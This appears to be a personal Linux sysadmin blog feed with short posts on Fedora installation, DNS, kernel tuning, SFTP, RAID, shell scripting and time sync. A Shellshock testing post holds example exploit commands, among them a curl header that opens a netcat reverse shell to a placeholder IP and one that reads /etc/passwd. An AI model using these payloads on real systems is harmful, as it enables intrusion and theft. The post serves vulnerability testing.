Linux on Ricky

How to Install Fedora Linux on Surface Go 2 to Boost Entry-Level Tablet Performance

Thu, 11 Dec 2025 10:18:47 +0800

How to Install Fedora Linux on Surface Go 2 to Boost Entry-Level Tablet Performance

Surface Go 2 (Intel Pentium 4425Y, 4G/64G) WiFi edition

For Surface Go 2 hardware support, see this GitHub table: Supported Devices and Features

Create a Linux boot drive

Download the ISO from the Fedora KDE official site.
Use Ventoy to create a boot drive.
Surface Go 2 only has Type-C ports, so you may need a hub. It cannot boot from an SD card.

Install Linux

Shut down the Surface Go 2.
Hold the power button and volume up to enter UEFI. The interface is touch-capable, but you may still need a physical keyboard for installation.
Fedora supports Secure Boot, but it is recommended to disable it to avoid manual signing when installing drivers.
Set the boot order to the USB drive.
Boot and follow the installer. Choose to wipe the disk and install Fedora.
For Chinese input, install Fcitx5:
- sudo dnf install fcitx5 fcitx5-chewing fcitx5-gtk3 fcitx5-gtk4 fcitx5-qt fcitx5-qt6 fcitx5-configtool
Tip: Fedora enables zRAM by default. If the Surface Go has limited RAM, edit /etc/systemd/zram-generator.conf to increase SWAP size (MB).
- [zram0]
- zram-size = 8192

Install the linux-surface kernel

Follow the GitHub instructions. On Fedora, add the linux-surface repo to the system:
- sudo dnf config-manager addrepo --from-repofile=https://pkg.surfacelinux.com/fedora/linux-surface.repo
Install the linux-surface kernel and reboot:
- sudo dnf install --allowerasing kernel-surface iptsd libwacom-surface
Use uname -a to verify the kernel is switched; it should show linux-surface.
Fedora updates kernels frequently, so new kernels may override the linux-surface kernel. After installing the linux-surface packages, the linux-surface-default-watchdog.path service is enabled automatically to ensure linux-surface is used on boot.

Using the virtual keyboard on KDE

Enable it in System Settings → Keyboard → Virtual Keyboard. Note that this keyboard cannot be used with Fcitx5.

Mosdns-X

Sun, 09 Nov 2025 20:32:00 +0800

install

bash <(curl -sL https://raw.githubusercontent.com/lidebyte/bashshell/refs/heads/main/mosdns-x-manager.sh)

config

sudo tee /etc/mosdns-x/config.yaml > /dev/null <<'EOF'
# mosdns-x concurrent query (no split routing) config

log:
 level: info
 file: /var/log/mosdns-x/mosdns-x.log

plugins:
 # Cache plugin
 - tag: cache
 type: cache
 args:
 size: 1024
 lazy_cache_ttl: 1800

 # Concurrent upstreams: take the first usable answer
 - tag: forward_all
 type: fast_forward
 args:
 upstream:
 # AliDNS
 - addr: "udp://223.5.5.5"
 - addr: "tls://dns.alidns.com"

 # DNSPod / doh.pub
 - addr: "udp://119.29.29.29"
 - addr: "tls://dot.pub"

 # Cloudflare
 - addr: "udp://1.1.1.1"
 - addr: "tls://cloudflare-dns.com"

 # Google
 - addr: "udp://8.8.8.8"
 - addr: "tls://dns.google"

 # Main pipeline: small cache -> concurrent selection
 - tag: main
 type: sequence
 args:
 exec:
 - cache
 - forward_all

# Listen on dual-stack UDP/TCP 53
servers:
 - exec: main
 listeners:
 - addr: :53
 protocol: udp
 - addr: :53
 protocol: tcp
EOF

systemd

sudo tee /etc/systemd/system/mosdns.service > /dev/null <<'EOF'
[Unit]
Description=Mosdns-X DNS Accelerator
After=network.target

[Service]
Type=simple
User=root
Group=root
ExecStart=/usr/local/bin/mosdns-x start --as-service -d /usr/local/bin -c /etc/mosdns-x/config.yaml
Restart=always
RestartSec=5
StandardOutput=journal
StandardError=journal
SyslogIdentifier=mosdns

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload
sudo systemctl enable --now mosdns

# Backup system DNS
sudo cp -n /etc/resolv.conf /etc/resolv.conf.mosdns-backup

# Switch to local Mosdns-X
echo -e "nameserver 127.0.0.1\noptions edns0" | sudo tee /etc/resolv.conf

# If port 53 is occupied by systemd-resolved, disable it
sudo systemctl disable --now systemd-resolved 2>/dev/null || true

# If you also want to lock it (prevent DHCP changes), run chattr too:
echo -e "nameserver 127.0.0.1\n" > /etc/resolv.conf && chattr +i /etc/resolv.conf

# Check process status
sudo systemctl status mosdns --no-pager

# Test resolution speed (second run should hit cache)
dig +stats www.google.com
dig +stats www.baidu.com

# View logs in real time
tail -f /var/log/mosdns-x/mosdns-x.log

Docker Containers Can't Access the Internet? NAT Configuration Guide for nftables

Wed, 03 Sep 2025 09:03:00 +0800

Docker Containers Can’t Access the Internet? NAT Configuration Guide for nftables

Dedicated Server CPU Frequency Maximization Guide

Tue, 02 Sep 2025 08:24:00 +0800

Dedicated Server CPU Frequency Maximization Guide

Check which CPU mode is in use

Prerequisites System: Linux (Debian, Ubuntu, Proxmox, etc.)

Privileges: root

CPU: supports dynamic frequency scaling (Intel Xeon, AMD EPYC / Ryzen, etc.)

governor

cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor

powersave: low-power mode (locked low frequency, power-saving but weak)
ondemand: on-demand boost (only boosts when needed, may respond a bit slowly)
performance: full performance (this is what we want)

Check which driver the kernel uses (Intel / AMD)

cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver

Use LinuxServer.io Docker Images to Turn Desktop Apps into Web Apps

Fri, 01 Aug 2025 15:52:00 +0800

Lightweight Linux Distributions For Older PCs

Tue, 20 Aug 2024 12:38:00 +0800

lightweight-linux-distributions-for-your-pc

Name	Site	Comment
Puppy Linux	https://puppylinux-woof-ce.github.io/	This tiny OS weighs in at under 300MB, so it can run smoothly even on systems with as little as 512MB of RAM.
Bodhi Linux	https://www.bodhilinux.com/	System requirements are just 512MB of RAM and a 500MHz processor.
Peppermint OS	https://peppermintos.com/	It only needs 512MB of RAM to run, so it will fly on that Pentium 4 machine or Core 2 Duo laptop you have stashed in your closet. While Peppermint OS is light on local resources, it integrates well with cloud and web apps. The OS builds in close integration with services like Dropbox, Google Drive, and more.
AntiX	https://antixlinux.com/	AntiX is designed to run on systems with as little as 64MB of RAM and a Pentium II processor.
Lubuntu	https://lubuntu.me/	Lubuntu will run smoothly on computers with as little as 512 MB of RAM and a 1 GHz processor.

Add SFTP user and share directory

Thu, 30 Nov 2023 17:22:00 +0800

dev_test_user, qa_test_user 同權限 dev_user, qa_user 同權限

1. 建立共享資料夾(SFTP 使用的資料夾)

sudo mkdir -p /home/{test,prod}/{exchange,upload}
sudo mkdir -p /home/{test,prod}/exchange/success
sudo mkdir -p /home/{test,prod}/upload/backup

2. 建立使用者群組

sudo groupadd share01-test
sudo groupadd share01-prod

3. 創建 qa_test_user 使用者並設定 qa_test_user 使用者的群組為 share01-test

sudo useradd -m -G share01-test qa_test_user

# 設定 dev_test_user 使用者的群組為 share01-test
sudo usermod -G share01-test dev_test_user

# 設定密碼
sudo passwd qa_test_user

4. 創建 qa_user 使用者並設定 qa_user 使用者的群組為 share01-prod

sudo useradd -m -G share01-prod qa_user

# 設定 dev_user 使用者的群組為 share01-prod
sudo usermod -G share01-prod dev_user

# 設定密碼
sudo passwd qa_user

5. 設定權限

# 設定 /home/test 資料夾(含下級資料夾)的使用者為 qa_test_user，群組為 share01-test
sudo chown -R qa_test_user:share01-test test/

# 設定 /home/prod 資料夾(含下級資料夾)的使用者為 qa_user，群組為 share01-prod
sudo chown -R qa_user:share01-prod prod/

# SFTP 登入資料夾權限要給 root
sudo chown root:root /home/test
sudo chown root:root /home/prod

6. 設定 /etc/ssh/sshd_config

/etc/ssh/sshd_config

Container security fundamentals

Wed, 04 Oct 2023 09:06:00 +0800

Tuning EMQX to Scale to One Million Concurrent Connection on Kubernetes

Wed, 27 Sep 2023 10:36:00 +0800

Linux Kernel Tuning

node level, basically the non-namespaced sysctls

# Sets the maximum number of file handles allowed by the kernel
sysctl -w fs.file-max=2097152

# Sets the maximum number of open file descriptors that a process can have
sysctl -w fs.nr_open=2097152

namespaced sysctls

# Sets the maximum number of connections that can be queued for acceptance by the kernel.
sysctl -w net.core.somaxconn=32768

# Sets the maximum number of SYN requests that can be queued by the kernel
sysctl -w net.ipv4.tcp_max_syn_backlog=16384

# Setting the minimum, default and maximum size of TCP Buffer
sysctl -w net.ipv4.tcp_rmem='1024 4096 16777216'
sysctl -w net.ipv4.tcp_wmem='1024 4096 16777216'

# Setting Parameters for TCP Connection Tracking
sysctl -w net.netfilter.nf_conntrack_tcp_timeout_time_wait=30

# Controls the maximum number of entries in the TCP time-wait bucket table
sysctl -w net.ipv4.tcp_max_tw_buckets=1048576

# Controls Timeout for FIN-WAIT-2 Sockets:
sysctl -w net.ipv4.tcp_fin_timeout=15

There are some more namespaced sysctls that will improve the performance but because of an active issue we are not able to set them on the container level

# Sets the size of the backlog queue for the network device
sysctl -w net.core.netdev_max_backlog=16384

# Amount of memory that is allocated for storing incoming and outgoing data for a socket
sysctl -w net.core.rmem_default=262144
sysctl -w net.core.wmem_default=262144

# Setting the maximum amount of memory for the socket buffers
sysctl -w net.core.rmem_max=16777216
sysctl -w net.core.wmem_max=16777216
sysctl -w net.core.optmem_max=16777216

Erlang VM Tuning

## Erlang Process Limit
node.process_limit = 2097152

## Sets the maximum number of simultaneously existing ports for this system
node.max_ports = 2097152

EMQX Broker Tuning

# Other configuration…
EMQX_LISTENER__TCP__EXTERNAL: "0.0.0.0:1883"
EMQX_LISTENER__TCP__EXTERNAL__ACCEPTORS: 64
EMQX_LISTENER__TCP__EXTERNAL__MAX_CONNECTIONS: 1024000

Everything About MTU and MSS

Wed, 12 Apr 2023 12:48:12 +0800

Everything About MTU and MSS

How to Detect RAID Information in Linux

Mon, 28 Nov 2022 15:36:27 +0800

How to Detect RAID Information in Linux

lspci

lspci | grep RAID
00:1f.2 RAID bus controller: Intel Corporation 82801 Mobile SATA Controller [RAID mode] (rev 04)

lshw

lshw -class storage
 *-raid
 description: RAID bus controller
 product: 82801 Mobile SATA Controller [RAID mode]
 vendor: Intel Corporation
 physical id: 1f.2
 bus info: pci@0000:00:1f.2
 logical name: scsi0
 version: 04
 width: 32 bits
 clock: 66MHz
 capabilities: raid msi pm bus_master cap_list emulated
 configuration: driver=ahci latency=0
 resources: irq:26 ioport:f0d0(size=8) ioport:f0c0(size=4) ioport:f0b0(size=8) ioport:f0a0(size=4) ioport:f060(size=32) memory:f7e36000-f7e367ff

smartctl

dmesg | grep -i scsi
[ 0.210852] SCSI subsystem initialized
[ 0.341280] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 243)
...
[ 1.213299] scsi 0:0:0:0: Direct-Access ATA ST320LT012-9WS14 YAM1 PQ: 0 ANSI: 5
[ 1.319886] sd 0:0:0:0: [sda] Attached SCSI disk
[ 19.571008] sd 0:0:0:0: Attached scsi generic sg0 type 0

smartctl --all /dev/sda
Model Family: Seagate Laptop HDD
Device Model: ST320LT012-9WS14C
Serial Number: S0V3R9LL
LU WWN Device Id: 5 000c50 05be4653c
Firmware Version: 0001YAM1
User Capacity: 320,072,933,376 bytes [320 GB]
Sector Sizes: 512 bytes logical, 4096 bytes physical
Rotation Rate: 5400 rpm
Form Factor: 2.5 inches
Device is: In smartctl database 7.3/5319
ATA Version is: ATA8-ACS T13/1699-D revision 4
SATA Version is: SATA 2.6, 3.0 Gb/s (current: 3.0 Gb/s)
Local Time is: Sat Nov 19 20:52:01 2022 PKT
SMART support is: Available - device has SMART capability.
SMART support is: Enabled
...

MegaCLI

megacli -LDInfo -Lall -aALL
Adapter 0 -- Virtual Drive Information:
Virtual Drive: 0 (Target Id: 0)
Name : SEAGATE
RAID Level : Primary-1, Secondary-0, RAID Level Qualifier-0
Size : 320 GB
Sector Size : 512
Mirror Data : 320 GB
State : Optimal
...

lsscsi

lsscsi
[0:0:0:0] disk ATA ST320LT012-9WS14 YAM1 /dev/sda

Vendor-Specific Tools

omreport storage vdisk
List of Virtual Disks in the System

Controller SEAGATE Laptop HDD
ID : 0
Status : Ok
Name : SEAGATE
State : Ready
Hot Spare Policy violated : Not Assigned
Encrypted : No
Layout : RAID-0
Size : 320.00 GB (343597383680 bytes)
T10 Protection Information Status : No
Associated Fluid Cache State : Not Applicable
Device Name : /dev/sda
Bus Protocol : ATA
Media : HDD
Read Policy : Adaptive Read Ahead
Write Policy : Write Back
Cache Policy : Not Applicable
Stripe Element Size : 128 KB
Disk Cache Policy : Enabled

Test Whether a Server Is Vulnerable to Shellshock Bug

Mon, 28 Nov 2022 15:35:30 +0800

Test Whether a Server Is Vulnerable to Shellshock Bug

The Shellshock Bug

env x=' () {:;};'

Exploiting Shellshock Bug

A substituted command is executed since the feature ignores the command specified by the user, and instead, it runs that which the ForceCommand defines.
The ignored commands from the user are put in the “SSH_ORIGINAL_COMMAND” environment variable. If the user’s default shell is Bash, the Bash shell will parse the value of the “SSH_ORIGINAL_COMMAND” environment variable on start-up and run the embedded commands.

Examples of Shellshock Exploit Commands

## 1
curl -H "X-Frame-Options: () {:;};echo;/bin/nc -e /bin/bash 192.168.y.y 443" 192.168.x.y/CGI-bin/hello.cgi

## 2
curl --insecure 192.168.x.x -H "User-Agent: () { :; }; /bin/cat /etc/passwd"

use nmap script to test for the vulnerability

nmap -sV -p- --script http-shellshock 192.168.x.x
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x

Containers from scratch

Thu, 24 Nov 2022 13:10:14 +0800

Containers from scratch

Container file systems

$ wget https://github.com/ericchiang/containers-from-scratch/releases/download/v0.1.0/rootfs.tar.gz
$ sha256sum rootfs.tar.gz
c79bfb46b9cf842055761a49161831aee8f4e667ad9e84ab57ab324a49bc828c rootfs.tar.gz
$ # tar needs sudo to create /dev files and setup file ownership
$ sudo tar -zxf rootfs.tar.gz
$ ls rootfs
bin dev home lib64 mnt proc run srv tmp var
boot etc lib media opt root sbin sys usr
$ ls -al rootfs/bin/ls
-rwxr-xr-x. 1 root root 118280 Mar 14 2015 rootfs/bin/ls

chroot

it allows us to restrict a process’ view of the file system. In this case, we’ll restrict our process to the “rootfs” directory then exec a shell.

How to Delete Files With Names That Contain Non-printable Characters

Mon, 14 Nov 2022 13:55:17 +0800

How to Delete Files With Names That Contain Non-printable Characters

ls -l
total 13
-rw-r--r-- 1 ZZ 197121 4 Nov 6 07:08 ' '
-rw-r--r-- 1 ZZ 197121 162 Apr 16 2022 '~$iscord.docx'
-rw-r--r-- 1 ZZ 197121 6 Nov 6 06:03 ''$'\302\226'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:01 ''$'\302\226''Λ---ω'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:13 '␴?␴??␴??::␴?␴'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:12 ␴__␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:14 ␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴␴
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:16 ␣␣␣␣␣␣␣␣
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:26 ␣ μ μ Ω Ω
-rw-r--r-- 1 ZZ 197121 14 Nov 6 06:23 '␣ μ ␴'$'\342\220\264''Ξ'
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27
-rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

Using ANSI-C Quoting

# Using ANSI-C Quoting
rm ''$'\302\226'
# We can also use the $ special character before enclosing the filename in single quotes
rm $'\356\200\215'

# pass an item's name to rm without using the ANSI-C quoting
rm '\026\033'
rm: cannot remove '\026\033': No such file or directory

Using Inode Numbers

ls -li
total 11
...
6517085 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:18 '␴ω␴␴␣␦'$'\342\220\264'
7826050 -rw-r--r-- 1 ZZ 197121 3 Nov 9 04:23 ''$'\356\200\215\356\200\215\356\200\215'
4685554 -rw-r--r-- 1 ZZ 197121 4 Nov 6 06:27

we can delete the desired file by passing its inode number to the -inum switch of the find command

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

Mon, 14 Nov 2022 12:55:39 +0800

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

chage and Password Aging

chage --list root
Last password change : Oct 01, 2022
Password expires : never
Password inactive : never
Account expires : never
Minimum number of days between password change : 0
Maximum number of days between password change : 99999
Number of days of warning before password expires : 7

Consequently, we can change any field via its associated flag:

How to Use which on an Aliased Command

Thu, 10 Nov 2022 16:24:30 +0800

How to Use which on an Aliased Command

type

type grep
grep is an alias for grep --color=auto


# Bash's type
type -P grep
/usr/bin/grep

# Zsh's type
type -p grep
grep is /usr/bin/grep

GNU which

which -a which
which: shell built-in command
/usr/bin/which


alias top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'

alias | /usr/bin/which -i top10
top10='print -l ${(o)history%% *} | uniq -c | sort -nr | head -n 10'
 /usr/bin/uniq
 /usr/bin/sort
 /usr/bin/head

Shell Script Best Practices

Thu, 03 Nov 2022 16:51:11 +0800

Shell Script Best Practices

Things

Just make the first line be #!/usr/bin/env bash.
Use the .sh (or .bash) extension for your file.
Use set -o errexit at the start of your script.
Prefer to use set -o nounset.
1. use "${VARNAME-}" instead of "$VARNAME"
Use set -o pipefail.
Use set -o xtrace, with a check on $TRACE env variable.
1. if [[ "${TRACE-0}" == "1" ]]; then set -o xtrace; fi
2. People can now enable debug mode, by running your script as TRACE=1 ./script.sh instead of ./script.sh.
Use [[ ]] for conditions in if / while statements, instead of [ ] or test.
Always quote variable accesses with double-quotes.
Use local variables in functions.
When printing error messages, please redirect to stderr.
1. Use echo 'Something unexpected happened' >&2 for this.
Use long options, where possible (like --silent instead of -s).
If appropriate, change to the script’s directory close to the start of the script.
1. Use cd “$(dirname “$0”)”, which works in most cases.
Use shellcheck. Heed its warnings.

Template

#!/usr/bin/env bash

set -o errexit
set -o nounset
set -o pipefail
if [[ "${TRACE-0}" == "1" ]]; then
 set -o xtrace
fi

if [[ "${1-}" =~ ^-*h(elp)?$ ]]; then
 echo 'Usage: ./script.sh arg-one arg-two

This is an awesome bash script to make your life better.

'
 exit
fi

cd "$(dirname "$0")"

main() {
 echo do awesome stuff
}

main "$@"

The Art of Command Line

Wed, 02 Nov 2022 15:04:37 +0800

The Art of Command Line

Printing ASCII Art in the Shell

Fri, 21 Oct 2022 17:30:41 +0800

Printing ASCII Art in the Shell

sudo apt install sysvbanner

$ banner hello

 # # ###### # # ####
 # # # # # # #
 ###### ##### # # # #
 # # # # # # #
 # # # # # # #
 # # ###### ###### ###### ####

FIGlet: Frank, Ian, and Glenn’s Letters

sudo apt install figlet

$ figlet hello
 _ _ _
| |__ ___| | | ___
| '_ \ / _ \ | |/ _ \
| | | | __/ | | (_) |
|_| |_|\___|_|_|\___/

-f option and specify a font name for the output
-l, -c, and -r options to align the text to the left, center, or right,

TOIlet: FIGlet With More Options

sudo apt install toilet

How to Make Output Overwrite the Same Line in a Terminal

Fri, 21 Oct 2022 17:29:10 +0800

How to Make Output Overwrite the Same Line in a Terminal

Introduction to the Problem

$ cat print_status.sh
!/bin/bash
echo "[INFO] Processing file: readme.txt"
sleep 2 To simulate the file processing

echo "[INFO] Processing file: veryPowerfulService.service"
sleep 2

echo "[INFO] Processing file: log.txt"
echo "DONE"


$ ./print_status.sh
[INFO] Processing file: readme.txt
[INFO] Processing file: veryPowerfulService.service
[INFO] Processing file: log.txt
DONE

The “Magic Code”: `\033[0K\r`

-n option asks the echo command to stop outputting the trailing newline character
-e option allows the echo command to interpret backslash escapes such as \n (newline) and \r (carriage return)
\033 - It’s the escape sequence. In other words, it’s ESC.
\033[ - Then this becomes “ESC [”, which is the control sequence introducer (CSI).
\033[0k - So it’s “CSI 0 K”. Further, “CSI 0 K” erases the text from the cursor to the end of the line.
\r - This is the carriage return. It brings the cursor to the beginning of the line.

$ cat print_status.sh
#!/bin/bash
echo -ne "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

echo -ne "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

echo -e "[INFO] Processing file: log.txt\033[0K\r"
echo "DONE"

!/bin/bash
printf "[INFO] Processing file: readme.txt\033[0K\r"
sleep 2

printf "[INFO] Processing file: veryPowerfulService.service\033[0K\r"
sleep 2

printf "[INFO] Processing file: log.txt\033[0K\r\n"
echo "DONE"

Monitoring HTTP Requests on a Network Interface in Real Time

Thu, 23 Jun 2022 16:48:42 +0800

Monitoring HTTP Requests on a Network Interface in Real Time

tcpflow

apt/dnf install tcpflow

$ sudo tcpflow -p -c -i wlp0s20f3 port 80 | grep -oE '(GET|POST) .* HTTP/1.[01]|Host: .*'
reportfilename: ./report.xml
tcpflow: listening on wlp0s20f3
GET /alexlarsson/flatpak/ubuntu/dists/focal/InRelease HTTP/1.1

GET /mirrors.txt HTTP/1.1

-p disables promiscuous mode
-c means only print the output to the console and don’t create files
-i specifies the network interface grep receives the output of tcpflow
-o means show only the matching parts of the lines that match the pattern
-E means the pattern is an extended regular expression (ERE)

httpry

https://github.com/jbittel/httpry.git

Parse Command Line Arguments in Bash

Tue, 07 Jun 2022 14:48:47 +0800

Parse Command Line Arguments in Bash

getopts

getopts optstring opt [arg ...]

#!/bin/bash

while getopts 'abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 ?|h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(($OPTIND -1))"

optstring represents the supported options. The option expects an argument if there is a colon (:) after it. For instance, if option c expects an argument, then it would be represented as c: in the optstring
When an option has an associated argument, then getopts stores the argument as a string in the OPTARG shell variable. For instance, the argument passed to option c would be stored in the OPTARG variable.
opt contains the parsed option.

#!/bin/bash

while getopts ':abc:h' opt; do
 case "$opt" in
 a)
 echo "Processing option 'a'"
 ;;

 b)
 echo "Processing option 'b'"
 ;;

 c)
 arg="$OPTARG"
 echo "Processing option 'c' with '${OPTARG}' argument"
 ;;

 h)
 echo "Usage: $(basename $0) [-a] [-b] [-c arg]"
 exit 0
 ;;

 :)
 echo -e "option requires an argument.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;

 ?)
 echo -e "Invalid command option.\nUsage: $(basename $0) [-a] [-b] [-c arg]"
 exit 1
 ;;
 esac
done
shift "$(($OPTIND -1))"

Note that we’ve updated optstring as well. Now it starts with the colon(:) character, which suppresses the default error message.
The getopts function disables error reporting when the OPTERR variable is set to zero.

Parsing Long Command-Line Options With getopt

#!/bin/bash

VALID_ARGS=$(getopt -o abg:d: --long alpha,beta,gamma:,delta: -- "$@")
if [[ $? -ne 0 ]]; then
 exit 1;
fi

eval set -- "$VALID_ARGS"
while [ : ]; do
 case "$1" in
 -a | --alpha)
 echo "Processing 'alpha' option"
 shift
 ;;
 -b | --beta)
 echo "Processing 'beta' option"
 shift
 ;;
 -g | --gamma)
 echo "Processing 'gamma' option. Input argument is '$2'"
 shift 2
 ;;
 -d | --delta)
 echo "Processing 'delta' option. Input argument is '$2'"
 shift 2
 ;;
 --) shift;
 break
 ;;
 esac
done

-o option represents the short command-line options
--long option represents the long command-line options

Google Cloud Platform(GCP): Access Linux Server using GUI running in GCP instance using Windows Remote Desktop Connection.

Wed, 20 Oct 2021 16:15:48 +0800

Google Cloud Platform(GCP): Access Linux Server using GUI running in GCP instance using Windows Remote Desktop Connection.

# This will install GUI and make it as a default startup option and then restart the machine.
$ sudo yum install xrdp tigervnc-server

~# sudo su
~# passwd
~# systemctl enable --now xrdp

~# netstat -antup | grep xrdp
tcp 0 0 0.0.0.0:3389 0.0.0.0:* LISTEN 10202/xrdp
tcp 0 0 127.0.0.1:3350 0.0.0.0:* LISTEN 10201/xrdp-sesman

[Notes] Build an Ubuntu remote desktop environment on GCP

Wed, 20 Oct 2021 16:14:47 +0800

[Notes] Build an Ubuntu remote desktop environment on GCP

Install

# dependency
sudo apt-get install ubuntu-desktop gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal

# VNC Server
sudo apt-get install vnc4server

# After install, run vncserver and set the password when prompted
vncserver

Modify `~/.vnc/xstartup`

#!/bin/sh

# Uncomment the following two lines for normal desktop:
# unset SESSION_MANAGER
# exec /etc/X11/xinit/xinitrc

[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
x-window-manager &

gnome-panel &
gnome-settings-daemon &
metacity &
nautilus &

Execute

# Kill the current vncserver and restart
vncserver -kill :1
# vncserver defaults to port 5900; :1 is 5901, and so on
vncserver :1

Start vncserver on reboot

@reboot /usr/bin/vncserver :1

Common shell scripting tips

Wed, 22 Sep 2021 13:01:11 +0800

SSH failing with Error : fatal: daemon() failed: No such device

Thu, 04 Mar 2021 18:48:39 +0800

SSH failing with Error : fatal: daemon() failed: No such device

/var/log/secure

Oct 10 10:58:05 vps sshd[23799]: fatal: daemon() failed: No such device

# rm -vf /dev/null
removed `/dev/null`
-bash-3.2# mknod /dev/null c 1 3
Started SSH and the SSH started responding:

# service sshd restart
Stopping sshd: [ OK ]
Starting sshd: [ OK ]
-bash-3.2# service sshd status
openssh-daemon (pid 30608) is running…

Mount a Synology NAS folder on CentOS 7

Mon, 09 Nov 2020 12:12:32 +0800

Mount a Synology NAS folder on CentOS 7

How to configure time zone and NTP on RHEL7/CentOS7

Tue, 29 Sep 2020 11:41:43 +0800

How to configure time zone and NTP on RHEL7/CentOS7

chrony includes two programs: chronyd is a daemon that starts on boot, and chronyc is a command-line client that can monitor chronyd and change runtime parameters.

Use either ntpd or chronyd, not both.

Configure time zone

~# timedatectl set-timezone Asia/Taipei
~# timedatectl
 Local time: Tue 2018-03-27 14:13:38 CST
 Universal time: Tue 2018-03-27 06:13:38 UTC
 RTC time: Tue 2018-03-27 06:13:40
 Time zone: Asia/Taipei (CST, +0800)
 NTP enabled: no
NTP synchronized: no
 RTC in local TZ: no
 DST active: n/a

Configure chronyd

# Install
~# yum install -y chrony

# Config file
~# cat /etc/chrony.conf
# Use public servers from the pool.ntp.org project.
# Please consider joining the pool (http://www.pool.ntp.org/join.html).
server 0.tw.pool.ntp.org iburst --->改成本地的伺服器
server 1.tw.pool.ntp.org iburst --->改成本地的伺服器
server 2.tw.pool.ntp.org iburst --->改成本地的伺服器
server 3.tw.pool.ntp.org iburst --->改成本地的伺服器

# Start service and enable on boot
~# systemctl enable chronyd
~# systemctl start chronyd

tracking parameters show system time performance

~# chronyc tracking
Reference ID : 3DD8996B (61-216-153-107.hinet-ip.hinet.net) --->表示現在同步的時間伺服器，如果沒有id表示沒有同步
Stratum : 4 --->表示計算機有多少"跳hop" 表示本地的是第四層
Ref time (UTC) : Tue Mar 27 06:03:38 2018 --->最後一次測量的時間
System time : 0.000040356 seconds fast of NTP time --->調整系統時間
Last offset : +0.000163738 seconds
RMS offset : 0.000163738 seconds
Frequency : 21.384 ppm fast
Residual freq : +0.000 ppm
Skew : 675.319 ppm
Root delay : 0.008527911 seconds
Root dispersion : 0.066466033 seconds
Update interval : 2.0 seconds
Leap status : Normal --->Normal要顯示此值, Insert second, Delete second or Not synchronised.

~# chronyc sources -v
210 Number of sources = 4

 .-- Source mode '^' = server, '=' = peer, '#' = local clock.
 / .- Source state '*' = current synced, '+' = combined , '-' = not combined,
| / '?' = unreachable, 'x' = time may be in error, '~' = time too variable.
|| .- xxxx [ yyyy ] +/- zzzz
|| Reachability register (octal) -. | xxxx = adjusted offset,
|| Log2(Polling interval) --. | | yyyy = measured offset,
|| \  | | zzzz = estimated error.
|| | | \
MS Name/IP address Stratum Poll Reach LastRx Last sample
===============================================================================
^* 59-124-29-241.hinet-ip.h> 3 6 37 24 -1462us[-2363us] +/- 49ms
^+ 61-216-153-107.hinet-ip.> 3 6 37 23 -556us[ -556us] +/- 64ms
^? 59-125-122-217.hinet-ip.> 0 7 0 - +0ns[ +0ns] +/- 0ns
^- 61-216-153-105.hinet-ip.> 3 6 37 23 -280us[ -280us] +/- 64ms

View sync source info

~# chronyc sourcestats -v
210 Number of sources = 4
 .- Number of sample points in measurement set.
 / .- Number of residual runs with same sign.
 | / .- Length of measurement set (time).
 | | / .- Est. clock freq error (ppm).
 | | | / .- Est. error in freq.
 | | | | / .- Est. offset.
 | | | | | | On the -.
 | | | | | | samples. \
 | | | | | | |
Name/IP Address NP NR Span Frequency Freq Skew Offset Std Dev
==============================================================================
59-124-29-241.hinet-ip.h> 6 5 135 -0.454 4.553 -784us 66us
61-216-153-107.hinet-ip.> 6 6 135 +4.455 19.761 +622us 247us
59-125-122-217.hinet-ip.> 0 0 0 +0.000 2000.000 +0ns 4000ms
61-216-153-105.hinet-ip.> 6 4 136 +8.965 42.440 +1250us 495us

Write system time to hardware clock

~# hwclock --systohc
~# date ; hwclock
Tue Mar 27 14:07:57 CST 2018
Tue 27 Mar 2018 02:07:58 PM CST -0.938012 seconds

Install PowerDNS and PowerDNS-Admin on Ubuntu 22.04|20.04|18.04

Fri, 25 Sep 2020 09:38:17 +0800

Install PowerDNS

$ sudo apt update
$ sudo apt install mariadb-server -y

$ sudo mysql -u root

CREATE DATABASE powerdns;
GRANT ALL ON powerdns.* TO 'powerdns'@'localhost' IDENTIFIED BY 'Str0ngPasswOrd';
FLUSH PRIVILEGES;
USE powerdns;
CREATE TABLE domains (
 id INT AUTO_INCREMENT,
 name VARCHAR(255) NOT NULL,
 master VARCHAR(128) DEFAULT NULL,
 last_check INT DEFAULT NULL,
 type VARCHAR(6) NOT NULL,
 notified_serial INT UNSIGNED DEFAULT NULL,
 account VARCHAR(40) CHARACTER SET 'utf8' DEFAULT NULL,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE UNIQUE INDEX name_index ON domains(name);


